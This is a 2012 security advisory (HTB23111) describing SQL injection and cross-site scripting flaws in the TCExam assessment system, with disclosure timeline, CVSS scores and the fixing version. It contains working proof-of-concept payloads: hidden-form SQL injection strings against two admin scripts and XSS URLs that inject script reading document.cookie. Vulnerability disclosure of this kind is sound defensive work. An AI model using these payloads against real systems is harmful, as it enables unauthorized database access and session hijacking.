Total Tests:

Multiple vulnerabilities in TCExam

Advisory ID:HTB23111
Product:TCExam
Vendor:Nicola Asuni
Vulnerable Versions:11.3.008 and probably prior
Tested Version:11.3.008
Advisory Publication:August 22, 2012 [without technical details]
Vendor Notification:August 22, 2012
Vendor Fix:August 22, 2012
Public Disclosure:September 12, 2012
Latest Update:August 24, 2012
Vulnerability Type:SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-4601
CVE-2012-4602
Risk Level:Medium
CVSSv2 Base Scores:6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in TCExam, which can be exploited to perform Cross-Site Scripting (XSS) and SQL injection attacks.

1) SQL Injection in TCExam: CVE-2012-4601
1.1 Input passed via the "user_groups[]" POST parameter to /admin/code/tce_edit_test.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://tcexam/admin/code/tce_edit_test.php" method="post" name="main" id="main">
<input type="hidden" name="test_id" value="0">
<input type="hidden" name="test_name" value="test_name">
<input type="hidden" name="test_description" value="test_description">
<input type="hidden" name="user_groups[]" value="'+(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))+'">
<input type="hidden" name="add" value="add">
<input type="submit" name="Submit" value="Send">
</form>

1.2 Input passed via the "subject_id" POST parameter to /admin/code/tce_show_all_questions.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC demonstrates the vulnerability:
<form action="http://tcexam/admin/code/tce_show_all_questions.php" method="post" name="main" id="main">
<input type="hidden" name="subject_module_id" value="2">
<input type="hidden" name="subject_id" value="1 UNION SELECT question_type, version() AS numquestions FROM tce_questions">
<input type="hidden" name="update" value="update">
<input type="submit" name="Submit" value="Send">
</form>

Successful exploitation of these vulnerabilities (1.1,1.2) requires attacker to be registered and logged-in and have permission level 5 or above.

2) Cross-Site Scripting (XSS) in TCExam: CVE-2012-4602
Input passed via the "cid" and "uids" GET parameters to /admin/code/tce_select_users_popup.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.
The following PoC demonstrates the vulnerability:
http://tcexam/admin/code/tce_select_users_popup.php?cid=%22%3E%3Cscript%3Eal ert%28document.cookie%29;%3C/script%3E
http://tcexam/admin/code/tce_select_users_popup.php?uids=%22%3E%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E

How to Detect SQL Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to TCExam 11.3.009

More Information:
http://sourceforge.net/projects/tcexam/files/CHANGELOG.TXT/view
http://tcexam.git.sourceforge.net/git/gitweb.cgi?p=tcexam/tcexam;a=commit;h=3e1ed3c02122eae182f076daabe903b0c8837971


References:
[1] High-Tech Bridge Advisory HTB23111 - https://www.immuniweb.com/advisory/HTB23111 - Multiple vulnerabilities in TCExam.
[2] TCExam - www.tcexam.org - TCExam is a CBA (Computer-Based Assessment) system (e-exam, CBT - Computer Based Testing) for universities, schools and companies, that enables educators and trainers to author, schedule, deliver, and report on surveys, quizzes, tests and exams.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential